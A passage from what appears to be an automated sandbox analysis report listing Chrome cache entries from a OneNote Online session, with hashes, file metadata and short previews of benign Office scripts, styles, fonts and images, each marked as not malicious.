n=e.className,t=e.theme,o=(0,l.Km)(d,t),r=t.fonts,a=t.semanticColors,u=t.effects;return{root:[t.font

Chrome Cache Entry: 340

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	516573
Entropy (8bit):	4.391994680222029
Encrypted:	false
SSDEEP:	6144:kR4D+Nfr+F5b0IrwKcxbyoWzJtdtUNabyoWzZC5RTMu:dD+Nfrw
MD5:	363862D59B18A0072EAFE965CA5D9D68
SHA1:	255AD71FF27D550F43193CE9B28ADA8871064251
SHA-256:	755FEFA890DBC336F99828D8425A6A102982DB829E632A79AA1F25F6EEF14228
SHA-512:	1643372E857613A6F24A52562BCD11D22BCDE673A7CE5208407EF5FC69F7C7FAFE685D60F8EBE559D3434736330576947B7682A263BB6822CBC282928A91D4FE
Malicious:	false
Reputation:	low
Preview:	window.onenoteRibbonSpriteLazy={icons:[{type:"svg",id:"newdocument_20",children:[{type:"path",className:"OfficeIconColors_HighContrast",d:"M 1741 614 v 1332 h -1434 v -1844 h 922 m 0 512 h 367 l -367 -373 m 409 476 h -512 v -512 h -716 v 1638 h 1228 z"},{type:"path",className:"OfficeIconColors_m20",d:"M 1685 1903 h -1320 v -1735 h 868 l 452 451 z"},{type:"path",className:"OfficeIconColors_m22",d:"M 1741 614 v 1332 h -1434 v -1844 h 922 m 0 512 h 367 l -367 -373 m 409 476 h -512 v -512 h -716 v 1638 h 1228 z"}],viewBox:"0,0,2048,2048"},{type:"svg",id:"SectionTab_20",children:[{type:"path",className:"OfficeIconColors_HighContrast",d:"M 1229 307 v -205 h 102 v 1844 h -102 v -205 h -615 v -1434 z"},{type:"path",className:"OfficeIconColors_DynamicColor",d:"M 1229 307 v -205 h 102 v 1844 h -102 v -205 h -615 v -1434 z"}],viewBox:"0,0,2048,2048"},{type:"svg",id:"Table_20",children:[{type:"path",className:"OfficeIconColors_HighContrast",d:"M 102 102 h 1844 v 1844 h -1844 m 103 -1741 v 205 h 16

Chrome Cache Entry: 341

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	347
Entropy (8bit):	5.403365327271323
Encrypted:	false
SSDEEP:	6:Yq0qjbQr6pjLpsSFHWD7XvZPP7BA02Jh4Qj9otad8zrpHqYw8Ve0pcVlhIvY:Yq0+0mtiSFH4137BA0chR66arpHuSkXR
MD5:	53EB154B2AC72208EBA5A104D5F166D8
SHA1:	8CA858B13E2A7040FABB1CF57C425A5FE8D47CF0
SHA-256:	7B5ECA7577F2F7E89078EA537753E4CBAB653A3D8182C92B3CC7C210644765D8
SHA-512:	88C0B49645F97120A5C121E11E6BB7C9E71220B680F536B76AA2B47195B30832D1BEA3F53835B50273922930E5BC3DB9A8FAFF484C92F656637CADB4C5BB56AD
Malicious:	false
Reputation:	low
URL:	https://ecs.office.com/config/v1/OneShell/1.0.0.0?agents=OneShell&IsConsumer=true&WorkloadId=OneNoteOnline&TenantId=84df9e7f-e9f6-40af-b435-aaaaaaaaaaaa&UserId=urn%3Aspo%3Aanon%2312beb30b1ac42c8878feeb5ffecce1cb12a3903918bac0f2030e9ed3135eadc7&UPN=urn%3Aspo%3Aanon%2312beb30b1ac42c8878feeb5ffecce1cb12a3903918bac0f2030e9ed3135eadc7
Preview:	{"OneShell":{"UpdatedConsumerAppList":true,"M365StartEnabled":true,"DisableM365StartIntentsModule":false,"default":true},"Headers":{"ETag":"\"8M6C3IBLtb8mwT1KNreplkZ/i0rFbbeiyWPkxzwWrg0=\"","Expires":"Tue, 16 Jul 2024 12:07:15 GMT","CountryCode":"US","StatusCode":"200"},"ConfigIDs":{"OneShell":"P-R-1157040-4-8,P-R-1131228-4-17,P-D-1117449-1-4"}}

Chrome Cache Entry: 342

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 6784, version 3.30147
Category:	downloaded
Size (bytes):	6784
Entropy (8bit):	7.904750792584749
Encrypted:	false
SSDEEP:	192:kon76LllcpK5ncpd8WvBwWTqIvTeH9G2IewqXb6Ys:kWYQKnS8WvOUvSH9GDqXON
MD5:	14EC2D31F37BB0F43FD441D11E771D50
SHA1:	48F83A9581A5E37AD1CCD0D4848EFC7FA64C17CF
SHA-256:	43C551EA819A83B1100F566ECF6BD70DB5A019F165D221200AF2DF11C4448627
SHA-512:	51CABEBB52DC3036CC584B0D03F0107AC7170DCC124A756B6CBFF098893506D8DAB4877FEFD71E3C83016262FACC9735F2BD1BF5D0EC4B6097E3013D287F4BA0
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/files/fabric-cdn-prod_20240129.001/assets/icons/fabric-icons-a13498cf.woff
Preview:	wOFF..............-<..u.....................OS/2...D...H...`1Fy.cmap.......#.....<.dcvt ....... .......fpgm...........Y...gasp................glyf...........,=_..head.......2...6....hhea...........$....hmtx.......N...x....loca...P...v...v.^..maxp........... .`..name...............Rpost........... .Q..prep............x...x.c`a..8.....u..1...4.f...$..........@ ...........>....!$.X.........F..x.c```f.`..F ..x..c..Y.7......V.....y..=....\..s..2....>..n.....s..9..w>_...../.^Lx1...3^l.q...O^.y......._Y..z...7_..\|......................6..).h...6.x......&IF....%.$>K...$.Q..{...w$nH<..,qTb.D.D.D.D.D..M...v.6.V.t..q;q[q3qM..b...D.\.n.......<.xX0]`..&.....~..BB.>...~v.V.....x.c.b.e(`h`X.......x............x.]..N.@..s$..'@:!.uC....K$.%%...J.......n..b.........\|.s...\|v..G*)V.7........!O.6eaL.yV.e.j..kN..M.h....Lm....-b....p.N.m.v.....U<..#...O.}.K..,V..&...^...L.c.x.....?ug..l9e..Ns.D....D...K........m..A.M....a.....g.P..`....d.............x..Y.tT.....g....2L..$/..I.

Chrome Cache Entry: 343

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65535), with no line terminators
Category:	downloaded
Size (bytes):	112261
Entropy (8bit):	5.13097356220368
Encrypted:	false
SSDEEP:	1536:F3aTm6ALG5SH04NcnOxtCDpdziaoIl3fKF1cEilqVcAd:wa+nuE2aoIl3fK4lCc8
MD5:	1DC889AC693F912C263AA6D27A258A93
SHA1:	B2100EA2AEE5ED5FD90E0331F26160CDD5D1B002
SHA-256:	9224E5240ABC039D55CB765EA6611F07BA95F5E59C05DA325C968470946C6E52
SHA-512:	49654A757D9C5CFD838848AF856B2A0D9FE9960CEED297E4244F948E42441506B7502DBED1236448BFF09EF4444FDF20A25197DC7E55FC4394EB2ED70CB1B0ED
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/onenoteink.js
Preview:	var onenoteink;(()=>{"use strict";var t={699:t=>{var e,i="object"==typeof Reflect?Reflect:null,n=i&&"function"==typeof i.apply?i.apply:function(t,e,i){return Function.prototype.apply.call(t,e,i)};e=i&&"function"==typeof i.ownKeys?i.ownKeys:Object.getOwnPropertySymbols?function(t){return Object.getOwnPropertyNames(t).concat(Object.getOwnPropertySymbols(t))}:function(t){return Object.getOwnPropertyNames(t)};var o=Number.isNaN\|\|function(t){return t!=t};function s(){s.init.call(this)}t.exports=s,t.exports.once=function(t,e){return new Promise((function(i,n){function o(i){t.removeListener(e,s),n(i)}function s(){"function"==typeof t.removeListener&&t.removeListener("error",o),i([].slice.call(arguments))}g(t,e,s,{once:!0}),"error"!==e&&function(t,e,i){"function"==typeof t.on&&g(t,"error",e,{once:!0})}(t,o)}))},s.EventEmitter=s,s.prototype._events=void 0,s.prototype._eventsCount=0,s.prototype._maxListeners=void 0;var r=10;function a(t){if("function"!=typeof t)throw new TypeError('The "listener

Chrome Cache Entry: 344

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	175719
Entropy (8bit):	4.255303968193695
Encrypted:	false
SSDEEP:	1536:0hEjBUBvBrBXBWBIBXBXBaBIBQBbBnBgAfBRBbB3BjBTBDBvBHBPBPBxBBBHB6ST:/RYAQ+
MD5:	9CFEFB2D46D6102DAC2A24C606F47FEA
SHA1:	076B63F4F46CE28648201E2507BBC67FB4F990C5
SHA-256:	43C5939CB732D8AA2D20FCE97F359F46B7C3B937E60ED576B752AE0A2E73314F
SHA-512:	C56812F0A9DCBC53E8AFA542923F20E911DE172C1D87B9868DB42A01F2FC303BBECE6509925E43E8F877DC8A3C7904FAE731C1C19BD35B5FAD18582B7498E24D
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/OfficeExtension.WacRuntime.js
Preview:	var __extends = (this && this.__extends) \|\| (function () {.. var extendStatics = function (d, b) {.. extendStatics = Object.setPrototypeOf \|\|.. ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) \|\|.. function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; };.. return extendStatics(d, b);.. };.. return function (d, b) {.. extendStatics(d, b);.. function __() { this.constructor = d; }.. d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());.. };..})();..var OfficeExtension;..(function (OfficeExtension) {.. var WacRuntime;.. (function (WacRuntime) {.. var ApiFlags;.. (function (ApiFlags) {.. ApiFlags[ApiFlags["none"] = 0] = "none";.. ApiFlags[ApiFlags["restrictedResource"] = 4] = "restrictedResource";.. ApiFlags[ApiFlags["makerSafe"] = 128] = "makerSafe";.. ApiFlags[ApiFlags["excludedF

Chrome Cache Entry: 345

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (61584), with CRLF line terminators
Category:	downloaded
Size (bytes):	127321
Entropy (8bit):	3.8975903207588436
Encrypted:	false
SSDEEP:	3072:0Xk9AXsHQxmPHmLZyb92FcFxSYJVBp0HoU:PA8HQxaG0AExSYJVGN
MD5:	993E82E7C484722F06C96463D0003A01
SHA1:	77D1EC9D49E51957E275AF992FB689C33AE9C833
SHA-256:	984B2E92A7D762983B068F01752C2FAF3A27F727CCE21A98C76AA33BF0B854F0
SHA-512:	976B03164CEE94613DC8816A5D77B1A52DD8C96F9B13A1AC90E0F6105BBE19366D761C134B43C94F510A142505B6B6F9F014B65A9C3A1104150C70F8C87159D5
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/OneNoteSimplified.Wac.TellMeSuggestionModel.js
Preview:	var CoefficientModelIdMap= {174:'ClearPageColor',102:'Dictation',133:'BasicChat',54:'MenuFontColor',116:'btnEditOnWeb',27:'Underline',13:'90da59be-5361-4260-9218-2262af1dc334Button1id',49:'MenuBullet',187:'MenuAlignment',74:'mnuOutlineLauncher',119:'SelectTable',125:'ToggleVersionsVisibility',124:'EnterInkingHighlighterMode',17:'faPrint',67:'mnuNoteTagMarkLauncher',110:'ClearStyleFormatting',20:'ShowAccCheckerPane',4:'mnuSpellingErrorLauncher',60:'InsertFileDialog',92:'floatiefseaPaste',45:'floatiefsfaMoreStyles',12:'ExitInkingOrEraserMode',25:'floatiefsbcBold',18:'NavigateToCoauthor',128:'mnuVersionLauncher',26:'StandardFontColorPicker',81:'floatiesbBullets',136:'EnterEraserMode',6:'HideAllNavCommand',175:'NT18',147:'PictureAbsoluteWidth',2:'MenuOpen',69:'EditInApp',33:'Numbering',126:'NT2',83:'PictureAbsoluteHeight',61:'TellMeSearchResultChange',109:'Redo',7:'Bold',186:'Picture',122:'MoreSymbols',95:'HideSpellingErrorsCommand',108:'Highlighter',73:'Subscript',112:'ShowSectionsAndPage

Chrome Cache Entry: 346

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows cursor resource - 1 icon, 32x32, hotspot @16x16
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	0.3626382302432769
Encrypted:	false
SSDEEP:	3:GlFFHvDllfl/t+lVsu/jXpRq/uXJRi/uXZRi/uXJRq/uX3XXRLtutpaKsx67YTsD:Gl/qlOeTjq2Di2Ti2Dq2nBL4OxhG5
MD5:	04D59A1FFDA7020CBDA1BB9FCBF0BCA0
SHA1:	E0CACE5751F02AF9E12B3C066FFD542F3D12A279
SHA-256:	EDC250E23E06AE7D15C1C19FDF9C6759129796B0A2F76DC82DF665C823C7B495
SHA-512:	A997D4384DA8D401321C497F49F73F0C79C1815DFD8B679458385D4E4A8ED2F645DDCF940A9347EA35F2D7AD3EE710F06784E8E1B1461AB7E8633BFF0FE0A691
Malicious:	false
Reputation:	low
Preview:	...... ..............(... ...@..... ...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 347

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 96 x 96, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1115
Entropy (8bit):	7.474905425501729
Encrypted:	false
SSDEEP:	24:OQkGe2gKOcQO9S80Axzhkzc7iFTZkqeNblj5ILlN0EFgFahPKN7FqP8:OQkRrTCbxzwSiZLCN52TFgM5KN7Fp
MD5:	084E7612635DFCF69A16255B41E70CAA
SHA1:	0D9721AA70B01487D3340B864C0BD49FB1D95206
SHA-256:	7B389747818635BCA6FE76F5E3226EDA36AF53D8F27526796BC975EBD440A395
SHA-512:	A0104DBB40429BCA5F54061CE6D36A695283D883CE1B732CA87A30743234D29BEBA07A0100DE0DE0B274A70C8C7C289574F6343DF16C3E4C7B6453F60E8737B9
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_resources/1033/agavedefaulticon96x96.png
Preview:	.PNG........IHDR...`...`......w8....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^.k.A.....@ .6.* ..H...R....V....l.! X..Z..Z..... X... .. .{.^fw...{.fv..70.~..\|........ .. .. .. .. .. .. .. .. .. .. ..3.8.1q....(.&.....B.o.."w..Y.....]......~0N0....]..z....\|.n........_..O...9..8@..K./..%..[..LQ.rm:.H.>...-..;,...9.G.n....`.{..-.F...'.?...y..]H..o{y..#.....]..x\|...K.(x\|p~.....r..R..~\.2.Y...f.Q..i...o...r.........Gc..Bp.Ol..\(...~.T...,....j.O.(e......j(e. ...Z....Rf......j(e. ...Z....Rf......j(e.....D.,Y.....~..n.[.........PA....]....0.mK...sE.........J~}z[.!n...RV\|.#.......7s.......)B.e;j2.........tX..k.....o.V....j.k3A........9..?R....Z....5t..j....f.Z.....E.L....J..7.}Uk.......H..i.Z...1...x$....]<I.......#ixw..h.h.h.a.4....9.&.v.....2i..D..l...'.-.+.._...eLZ...M..x..1%.g....'A..X.....jkK.^W.}.m...T....\|...._.^.[..~u'...mco.8...nT....d.m.I.b..M.4...s.U.;Yu...k.1\|..93a..(M..2..U......B..S..O...........c.......?)....iz.D...T.D!....R

Chrome Cache Entry: 348

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (27024), with CRLF line terminators
Category:	downloaded
Size (bytes):	27026
Entropy (8bit):	5.536845977615562
Encrypted:	false
SSDEEP:	384:ne7LRwe03wCS8V012RwlKzXicngH8I4qIZD3338z3YSzK1/0:ne756VnzZbI6Dn8z3YWd
MD5:	A230E20FEECBB758D7C13303A657EEDD
SHA1:	F12606CCE8600D9DFB5316610EE5177BA51B0CE9
SHA-256:	816A0F42A2BF473213A47BE1DDE62215811D54AF1151A1E9916DC215DF6EC776
SHA-512:	1C6F7288BEBAB71D8B6C7CE21D5F1FAA53C6710FAF1A0F611C0313E71BD5DB17A304E433686836AB2EEAE0E0ACBDDEAA2E1E82EDE54145520542C0361066FEE0
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/h816A0F42A2BF4732_resources/1033/EditSurface.css
Preview:	FocusedContentControl{margin:0;padding:0;}.EditingSurfaceBody{background-color:transparent;border:none;outline:none;}.EditingSurfaceBody,.EditingSurfaceBody {-ms-touch-select:none;-webkit-user-select:text;-khtml-user-select:text;-moz-user-select:text;-ms-user-select:text;}.EditMode span.SpellingError,.EditingSurfaceBody span.SpellingError{background-image:url('data:image/gif;base64,R0lGODlhBQAEAJECAP////8AAAAAAAAAACH5BAEAAAIALAAAAAAFAAQAAAIIlGAXCCHrTCgAOw==');border-bottom:solid 1px transparent;}.EditMode span.DictationCorrection,.EditingSurfaceBody span.DictationCorrection{background-image:url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' width='3' height='4'><path d='M 0 0 L 5 5' stroke='gray' stroke-width='1px'/></svg>");border-bottom:solid 1px transparent;}.EditMode span.ContextualSpellingAndGrammarError,.EditingSurfaceBody span.ContextualSpellingAndGrammarError{background-image:url('data:image/gif;base64,R0lGODlhBQAEAPEDAABVzDNVzDNV/wAAACH5BAUAAAMALAAAAAAFAAQ

Chrome Cache Entry: 349

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20082), with no line terminators
Category:	dropped
Size (bytes):	20082
Entropy (8bit):	5.3785189328644485
Encrypted:	false
SSDEEP:	384:Tt1CTbGLeulh4MQOCS9AKBINrXNlQihhST3iT00XazfPTZsn:p1GTuli2gKBkrPTpqrTZs
MD5:	58A30E58FBE0165292F0425B04256E46
SHA1:	420050FE7E6034D52094B2F769FDB12A3591A748
SHA-256:	534ECF698946529FF99C868DA810DAB8E1E9C7491EBDC873BDF95D34ABF75C4E
SHA-512:	6127E32FC185C33353C75180F2B54DFE28E471558FF2478B23C8AB64511BFBAC0AA6200740F94186F0CC56F5D6137C9BD7F16BA3580F4E994A064B7E5AE67D44
Malicious:	false
Reputation:	low
Preview:	function getLanguageParameter(n){var t,i;if(UseApiForUILanguage&&Office.context.displayLanguage)return""+n+"="+Office.context.displayLanguage;var f=window.location.search.substr(1),r=f.split("&"),u="";for(t=0;t<r.length;t++)if(i=r[t].split("=",2),i.length==2&&i[0]=="ui"){u=""+n+"="+i[1];break}return u}function getEdgeMajorVersion(){var t=navigator.userAgent,n=t.match(/Edge\/([0-9]+)/i);return n&&n.length>=2?parseInt(n[1]):-1}function getQueryParameter(n){var u,r,t,i;if(window.location.search&&window.location.search.length>1)for(u=window.location.search.substring(1),r=u.split("&"),t=0;t<r.length;t++)if(i=r[t].split("="),decodeURIComponent(i[0])==n)return i.length>1?decodeURIComponent(i[1]):"";return null}function now(){return(new Date).getTime()}function generateGuid(){return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(n){var t=Math.random()*16\|0,i=n==="x"?t:t&3\|8;return i.toString(16)})}function createSimpleHtml(n,t,i){i===void 0&&(i=null);var r=document.createElemen

Chrome Cache Entry: 350

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	56
Entropy (8bit):	4.677279698572885
Encrypted:	false
SSDEEP:	3:beiCkj7ugjfMlkk2SY:behw7ugjfDk2r
MD5:	DA69159E7EC38222D30F02FAE3F5B795
SHA1:	A25E1C206C6EF0DC1E82AB5D715E56A1EFE3BDE4
SHA-256:	77E2C43DFDEBA7EA496189A7D4DA3A22EDA4CCE35B6246260698A60B141972EE
SHA-512:	C08E416F8F47F95A258951568995689805AEFDD04A95AB52E8FDA790441BD3A1FC76209885F81132772AA6ED41E216DFE541AE0151975481DA3D190246D0FA29
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwkfEhqytXPXJRIFDdjY4LISBQ11LGDrEhcJnjult5RM6foSBQ3Y2OCyEgUNdSxg6w==?alt=proto
Preview:	ChIKBw3Y2OCyGgAKBw11LGDrGgAKEgoHDdjY4LIaAAoHDXUsYOsaAA==

Chrome Cache Entry: 351

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	543128
Entropy (8bit):	5.291766581921227
Encrypted:	false
SSDEEP:	6144:QRUEv/Cr0k9Dxe4uJqrRI75FqHYW6Q7x2zcaObDjJB0Q9UMXvBAVMF1:QRUEnCr0kxxCrqHYW6UUqKMXvBBH
MD5:	C39D20120362B9648DADA8C4A2DE4CBE
SHA1:	69AF12BF5D413CC66C27C21FA887551FBD85A6FB
SHA-256:	8033C6C68BA67450F7231BA814D2FF30D275238C089C2D065C9C65832695E331
SHA-512:	A833AE74014FF88124FBB25E32136030DCE97ACDCED6FCA6CFDFA3D0A02FAAE45ED43D39369BE7E62ED4F1FB51C32C4963E0ADF2A93DE7CC83AC237F0D965B45
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/al.min.js
Preview:	!function(e){if("object"==typeof exports&&"undefined"!=typeof module)module.exports=e();else if("function"==typeof define&&define.amd)define([],e);else{("undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:this).augLoop=e()}}((function(){return function e(t,n,o){function r(a,s){if(!n[a]){if(!t[a]){var u="function"==typeof require&&require;if(!s&&u)return u(a,!0);if(i)return i(a,!0);var c=new Error("Cannot find module '"+a+"'");throw c.code="MODULE_NOT_FOUND",c}var l=n[a]={exports:{}};t[a][0].call(l.exports,(function(e){return r(t[a][1][e]\|\|e)}),l,l.exports,e,t,n,o)}return n[a].exports}for(var i="function"==typeof require&&require,a=0;a<o.length;a++)r(o[a]);return r}({1:[function(e,t,n){"use strict";var o=e("exportStarHelper");Object.defineProperty(n,"__esModule",{value:!0}),o(e(2),n)},{2:2}],2:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0}),n.isStopWorkflowMessage=n.setStopAndFilterWorkflowMessage=n.setMessageE

Chrome Cache Entry: 352

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	71206
Entropy (8bit):	5.516345224841572
Encrypted:	false
SSDEEP:	1536:6X1lS++fM0aApmAH/UhsKE1E9i7w2fpo/:6Fl9+fM0aSH/ErE1EGNfp4
MD5:	A02F545640A0AB4759C12A60D1FA9D34
SHA1:	0AEB018166BCE818E8B631139A61FE692DBF38EF
SHA-256:	4470D1CF0DA033C705E2E3964A47171872D08232A91F8F30582E1D926F8A093B
SHA-512:	3D0442A02371958DE4E9ECF6B1B1EEF4BB40B8B392D325D84FF99DE6AFE8EE8A572DD5F755F3086465B45CB92931C81B3C682B58854E3880977C3B878FA382A5
Malicious:	false
Reputation:	low
Preview:	(globalThis.webpackChunkMicrosoft_Office_OWL=globalThis.webpackChunkMicrosoft_Office_OWL\|\|[]).push([[6720],{22187:function(e,n,t){"use strict";t.d(n,{A:function(){return a}});var o=t(9824),r=t.n(o),i=t(10528),s=t.n(i)()(r());s.push([e.id,".lLFji2JIIWB51LkuYBKM{width:75%;height:75%;position:fixed;top:50%;left:50%;transform:translateY(-50%) translateX(-50%);background-color:#fff;box-sizing:border-box;outline:1px solid transparent;z-index:5;box-shadow:0 0 5px 0 rgba(0,0,0,.4);border:none}","",{version:3,sources:["webpack://./../owl-service/lib/filePicker/filePickerStyles.module.scss"],names:[],mappings:"AAAA,sBACE,SAAA,CACA,UAAA,CACA,cAAA,CACA,OAAA,CACA,QAAA,CACA,2CAAA,CACA,qBAAA,CACA,qBAAA,CACA,6BAAA,CACA,SAAA,CACA,mCAAA,CACA,WAAA",sourcesContent:[".file-picker-iframe {\n width: 75%;\n height: 75%;\n position: fixed;\n top: 50%;\n left: 50%;\n transform: translateY(-50%) translateX(-50%);\n background-color: #fff;\n box-sizing: border-box;\n outline: 1px solid transparent;\n z-

Chrome Cache Entry: 353

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (58562)
Category:	dropped
Size (bytes):	263257
Entropy (8bit):	5.328169040899401
Encrypted:	false
SSDEEP:	3072:BbEnBXWAeZEQB9efnuOowwCjrsrYOaypSlptbiXWpDOHWY89k3k0uvG5rj5OOJR:wjKEQP4poww9EOnOXvGD9
MD5:	F4C023DE699C6B3BFF0284E4299AD416
SHA1:	C6F6680B3A36FC08964D94A5D17826201A95D6A7
SHA-256:	733BAC8C18121174A1620768DCFC296E279A81151B279798EB91DABC4256A10E
SHA-512:	F005B33A1B3B50300D1EC038BCD1C44854D3634030359EB7C06861ED4EC2702AE5EAD68AAA9D084CDE95639D4351C5136878580048B57158AD882C452C4A4CE1
Malicious:	false
Reputation:	low
Preview:	/! For license information please see 10.js.LICENSE.txt /.(self.odspNextWebpackJsonp=self.odspNextWebpackJsonp\|\|[]).push([[10],{667:(e,t,n)=>{"use strict";var a;n.d(t,{a:()=>a,b:()=>i}),function(e){e[e.CRITICAL=1]="CRITICAL",e[e.WARNING=2]="WARNING"}(a\|\|(a={}));var i={BrowserDoesNotSupportLocalStorage:0,BrowserCannotReadLocalStorage:1,BrowserCannotReadSessionStorage:2,BrowserCannotWriteLocalStorage:3,BrowserCannotWriteSessionStorage:4,BrowserFailedRemovalFromLocalStorage:5,BrowserFailedRemovalFromSessionStorage:6,CannotSendEmptyTelemetry:7,ClientPerformanceMathError:8,ErrorParsingAISessionCookie:9,ErrorPVCalc:10,ExceptionWhileLoggingError:11,FailedAddingTelemetryToBuffer:12,FailedMonitorAjaxAbort:13,FailedMonitorAjaxDur:14,FailedMonitorAjaxOpen:15,FailedMonitorAjaxRSC:16,FailedMonitorAjaxSend:17,FailedMonitorAjaxGetCorrelationHeader:18,FailedToAddHandlerForOnBeforeUnload:19,FailedToSendQueuedTelemetry:20,FailedToReportDataLoss:21,FlushFailed:22,MessageLimitPerPVExceeded:23,MissingReq

Chrome Cache Entry: 354

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	354436
Entropy (8bit):	5.450930078030826
Encrypted:	false
SSDEEP:	6144:Swpa/0WfI/txHs88r97Vn5CBFXAjXUJWe4TLRBIR+gc:SwkfIFxHs88rpzwFXAj2ELRBIR8
MD5:	25685FCCC63D87B51C0BBAA736D32754
SHA1:	2BBFAAF93F0B2881F125E0868665A1477E0D3B46
SHA-256:	F14F2718E2139E97D8DEDDCE87C220CC8E966955EA187AFBDF5521BBCE3F4A53
SHA-512:	A6ED6735B63BFDEFCA999707E8B6ED0986F58556C5835D96CCC791418AC05B5D8F6970627AFB6C8BFDF82AFB85F108561AA62D5C6C405CF62B686CA2062A3F6C
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/wp5/appChrome.min.js
Preview:	function asyncGeneratorStep(e,t,o,n,r,i,s){try{var a=e[i](s),l=a.value}catch(e){return void o(e)}a.done?t(l):Promise.resolve(l).then(n,r)}function _async_to_generator(e){return function(){var t=this,o=arguments;return new Promise((function(n,r){var i=e.apply(t,o);function s(e){asyncGeneratorStep(i,n,r,s,a,"next",e)}function a(e){asyncGeneratorStep(i,n,r,s,a,"throw",e)}s(void 0)}))}}function _define_property(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e}function _object_spread(e){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},n=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(o).filter((function(e){return Object.getOwnPropertyDescriptor(o,e).enumerable})))),n.forEach((function(t){_define_property(e,t,o[t])}))}return e}function ownKeys(e,t){var o=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.fi

Chrome Cache Entry: 355

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1208
Entropy (8bit):	5.4647615085670616
Encrypted:	false
SSDEEP:	24:hM0mIAvy4WvsqFOa7JZRGNeHX+AYcvP2wk1USdYF9Yk5:lmIAq1UqFOiJZ+eHX+AdP2wyYFOk5
MD5:	D29FA9F2AB3A72F2608E8E82C8C3D1C6
SHA1:	8B21CC06752837B4B6B8FEF8D54F50EB2C7CCA8F
SHA-256:	E1B0A10649C4B92F828523EFC2EBE135EA9488179A2816888D1E84F786202DBF
SHA-512:	824A207E3F5AF4934B7B50FE5E3F8585FAECA571C3C39E510C06DC8FBDF3E64B07811CAAE06239936BDDDDFA4C90E534F03C0DA8147AF9294042DEA6B0FBCB94
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">..<html xmlns="http://www.w3.org/1999/xhtml">..<head>..<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>..<title>500 - Internal server error.</title>..<style type="text/css">.. ..body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}..fieldset{padding:0 15px 10px 15px;} ..h1{font-size:2.4em;margin:0;color:#FFF;}..h2{font-size:1.7em;margin:0;color:#CC0000;} ..h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} ..#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;..background-color:#555555;}..#content{margin:0 0 0 2%;position:relative;}...content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}..-->..</style>..</head>..<body>..<div id="header"><h1>Server Error</h1></div>..<div id="content">.. <div class="content-

